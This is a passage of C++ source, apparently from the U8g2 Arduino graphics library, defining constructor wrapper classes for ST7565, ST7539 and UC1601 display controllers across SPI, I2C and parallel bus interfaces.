d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_1_8080 : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_2_6800 : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_2_8080 : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_F_6800 : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_F_8080 : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7539_192X64_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7539_192X64_1_6800 : public U8G2 {\n  public: U8G2_ST7539_192X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_1_8080 : public U8G2 {\n  public: U8G2_ST7539_192X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7539_192X64_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7539_192X64_2_6800 : public U8G2 {\n  public: U8G2_ST7539_192X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_2_8080 : public U8G2 {\n  public: U8G2_ST7539_192X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7539_192X64_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7539_192X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7539_192X64_F_6800 : public U8G2 {\n  public: U8G2_ST7539_192X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_F_8080 : public U8G2 {\n  public: U8G2_ST7539_192X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7539_192X64_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7539_192X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_i2c_192x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7539_192X64_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7539_192X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_i2c_192x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7539_192X64_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7539_192X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_i2c_192x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7539_192X64_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7539_192X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_i2c_192x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7539_192X64_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7539_192X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_i2c_192x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7539_192X64_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7539_192X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_i2c_192x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7539_192X64_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7539_192X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_i2c_192x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7539_192X64_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7539_192X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_i2c_192x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7539_192X64_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7539_192X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7539_i2c_192x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1601_128X32_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1601_128X32_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1601_128X32_1_6800 : public U8G2 {\n  public: U8G2_UC1601_128X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_1_8080 : public U8G2 {\n  public: U8G2_UC1601_128X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset 